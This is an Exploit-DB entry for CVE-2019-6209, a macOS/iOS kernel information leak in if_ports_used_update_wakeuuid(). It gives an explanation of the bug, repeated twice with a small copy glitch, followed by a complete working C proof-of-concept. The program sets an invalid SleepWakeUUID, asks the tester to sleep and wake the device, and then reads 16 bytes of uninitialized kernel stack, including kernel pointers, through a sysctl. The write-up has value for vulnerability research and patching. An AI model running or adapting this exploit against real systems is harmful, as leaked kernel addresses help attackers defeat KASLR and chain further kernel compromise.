标题: iOS/macOS 10.13.6 - 'if_ports_used_update_wakeuuid()' 16-byte Uninitialized Kernel Stack Disclosure EDB-ID: 46285 CVE: 2019-6209 类型: DOS 平台: MULTIPLE 发布日期: 2019-01-30 漏洞利用脚本: /*
macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:

 extern "C" bool
 IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
 {
  if (!gSleepWakeUUIDIsSet) {
   return (false);
  }
 
  if (buffer != NULL) {
   OSString *string;
 
   string = (OSString *)
       gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
 
   if (string == NULL) {
    *buffer = '\0';
   } else {
    strlcpy(buffer, string->getCStringNoCopy(), buf_len);
 
    string->release();
   }
  }
 
  return (true);
 }

This function is interesting because it copies a caller-specified amount of data from the
"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
out-of-bounds heap data will be copied into the caller's buffer.

However, triggering this particular information leak is challenging, since the only caller is the
function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
leak:

 void
 if_ports_used_update_wakeuuid(struct ifnet *ifp)
 {
  uuid_t wakeuuid;       // (a) wakeuuid is uninitialized.
  bool wakeuuid_is_set = false;
  bool updated = false;
 
  if (__improbable(use_test_wakeuuid)) {
   wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
  } else {
   uuid_string_t wakeuuid_str;
 
   wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable.
       sizeof(wakeuuid_str));
   if (wakeuuid_is_set) {
    uuid_parse(wakeuuid_str, wakeuuid);   // (c) The return value of
   }        //     uuid_parse() is not checked.
  }
 
  if (!wakeuuid_is_set) {
   if (if_ports_used_verbose > 0) {
    os_log_info(OS_LOG_DEFAULT,
        "%s: SleepWakeUUID not set, "
        "don't update the port list for %s\n",
        __func__, ifp != NULL ? if_name(ifp) : "");
   }
   wakeuuid_not_set_count += 1;
   if (ifp != NULL) {
    microtime(&wakeuuid_not_set_last_time);
    strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
        sizeof(wakeuuid_not_set_last_if));
   } 
   return;
  }
 
  lck_mtx_lock(&net_port_entry_head_lock);
  if (uuid_compare(wakeuuid, current_wakeuuid) != 0) {   // (e) These UUIDs will be different.
   net_port_entry_list_clear();
   uuid_copy(current_wakeuuid, wakeuuid);    // (f) Uninitialized stack garbage
   updated = true;       //     will be copied into a sysctl
  }         //     variable.
  /* 
   * Record the time last checked
   
  microuptime(&wakeuiid_last_check);
  lck_mtx_unlock(&net_port_entry_head_lock);
 
  if (updated && if_ports_used_verbose > 0) {
   uuid_string_t uuid_str;
 
   uuid_unparse(current_wakeuuid, uuid_str);
   log(LOG_ERR, "%s: current wakeuuid %s\n",
       __func__,
       uuid_str);
  }
 }

After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
than a valid hexadecimal digit, we can get random stack garbage copied into the global
current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
its value can be read from userspace.

Tested on macOS 10.13.6 17G2112:

 bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
 bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
 1. Sleep the device.
 2. Wake the device.
 3. Press any key to continue.
 
 current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
*/

/*
 * wakeuuid-leak.c
 * Brandon Azad (bazad@google.com)
 */

#if 0
iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid().

macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:

 extern "C" bool
 IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
 {
  if (!gSleepWakeUUIDIsSet) {
   return (false);
  }
 
  if (buffer != NULL) {
   OSString *string;
 
   string = (OSString *)
       gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
 
   if (string == NULL) {
    *buffer = '\0';
   } else {
    strlcpy(buffer, string->getCStringNoCopy(), buf_len);
 
    string->release();
   }
  }
 
  return (true);
 }

This function is interesting because it copies a caller-specified amount of data from the
"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
out-of-bounds heap data will be copied into the caller's buffer.

However, triggering this particular information leak is challenging, since the only caller is the
function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
leak:

 void
 if_ports_used_update_wakeuuid(struct ifnet *ifp)
 {
  uuid_t wakeuuid;       // (a) wakeuuid is uninitialized.
  bool wakeuuid_is_set = false;
  bool updated = false;
 
  if (__improbable(use_test_wakeuuid)) {
   wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
  } else {
   uuid_string_t wakeuuid_str;
 
   wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable.
       sizeof(wakeuuid_str));
   if (wakeuuid_is_set) {
    uuid_parse(wakeuuid_str, wakeuuid);   // (c) The return value of
   }        //     uuid_parse() is not checked.
  }
 
  if (!wakeuuid_is_set) {
   if (if_ports_used_verbose > 0) {
    os_log_info(OS_LOG_DEFAULT,
        "%s: SleepWakeUUID not set, "
        "don't update the port list for %s\n",
        __func__, ifp != NULL ? if_name(ifp) : "");
   }
   wakeuuid_not_set_count += 1;
   if (ifp != NULL) {
    microtime(&wakeuuid_not_set_last_time);
    strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
        sizeof(wakeuuid_not_set_last_if));
   } 
   return;
  }
 
  lck_mtx_lock(&net_port_entry_head_lock);
  if (uuid_compare(wakeuuid, current_wakeuuid) != 0) {   // (e) These UUIDs will be different.
   net_port_entry_list_clear();
   uuid_copy(current_wakeuuid, wakeuuid);    // (f) Uninitialized stack garbage
   updated = true;       //     will be copied into a sysctl
  }         //     variable.
  /* 
   * Record the time last checked
   */
  microuptime(&wakeuiid_last_check);
  lck_mtx_unlock(&net_port_entry_head_lock);
 
  if (updated && if_ports_used_verbose > 0) {
   uuid_string_t uuid_str;
 
   uuid_unparse(current_wakeuuid, uuid_str);
   log(LOG_ERR, "%s: current wakeuuid %s\n",
       __func__,
       uuid_str);
  }
 }

After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
than a valid hexadecimal digit, we can get random stack garbage copied into the global
current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
its value can be read from userspace.

Tested on macOS 10.13.6 17G2112:

 bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
 bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
 1. Sleep the device.
 2. Wake the device.
 3. Press any key to continue.
 
 current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
#endif

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <IOKit/IOKitLib.h>
#include <sys/sysctl.h>

int
main(int argc, const char *argv[]) {
 CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID");
 // First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid
 // value.
 io_service_t IOPMrootDomain = IOServiceGetMatchingService(
   kIOMasterPortDefault,
   IOServiceMatching("IOPMrootDomain"));
 if (IOPMrootDomain == IO_OBJECT_NULL) {
  printf("Error: Could not look up IOPMrootDomain\n");
  return 1;
 }
 kern_return_t kr = IORegistryEntrySetCFProperty(
   IOPMrootDomain,
   kIOPMSleepWakeUUIDKey,
   CFSTR(""));
 if (kr != KERN_SUCCESS) {
  printf("Error: Could not set SleepWakeUUID\n");
  return 2;
 }
 // Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via
 // IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and
 // wake the device.
 printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n");
 getchar();
 // Check that we successfully set an invalid UUID.
 CFTypeRef value = IORegistryEntryCreateCFProperty(
   IOPMrootDomain,
   kIOPMSleepWakeUUIDKey,
   kCFAllocatorDefault,
   0);
 if (!CFEqual(value, CFSTR(""))) {
  printf("Error: SleepWakeUUID not set successfully\n");
  return 3;
 }
 // Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the
 // sysctl net.link.generic.system.get_ports_used.<ifindex>.<protocol>.<flags>.
 size_t get_ports_used_mib_size = 5;
 int get_ports_used_mib[get_ports_used_mib_size + 3];
 int err = sysctlnametomib("net.link.generic.system.get_ports_used",
   get_ports_used_mib, &get_ports_used_mib_size);
 if (err != 0) {
  return 4;
 }
 get_ports_used_mib[get_ports_used_mib_size++] = 1; // ifindex
 get_ports_used_mib[get_ports_used_mib_size++] = 0; // protocol
 get_ports_used_mib[get_ports_used_mib_size++] = 0; // flags
 uint8_t ports_used[65536 / 8];
 size_t ports_used_size = sizeof(ports_used);
 err = sysctl(get_ports_used_mib, get_ports_used_mib_size,
   ports_used, &ports_used_size, NULL, 0);
 if (err != 0) {
  printf("Error: sysctl %s: errno %d\n",
    "net.link.generic.system.get_ports_used", errno);
  return 5;
 }
 // Finally retrieve the leak with sysctl
 // net.link.generic.system.port_used.current_wakeuuid.
 uint8_t current_wakeuuid[16];
 size_t current_wakeuuid_size = sizeof(current_wakeuuid);
 err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid",
   current_wakeuuid, &current_wakeuuid_size, NULL, 0);
 if (err != 0) {
  printf("Error: sysctl %s: errno %d\n",
    "net.link.generic.system.port_used.current_wakeuuid", errno);
  return 6;
 }
 uint64_t *leak = (uint64_t *)current_wakeuuid;
 printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]);
 return 0;
} URL: https://www.exploit-db.com/exploits/46285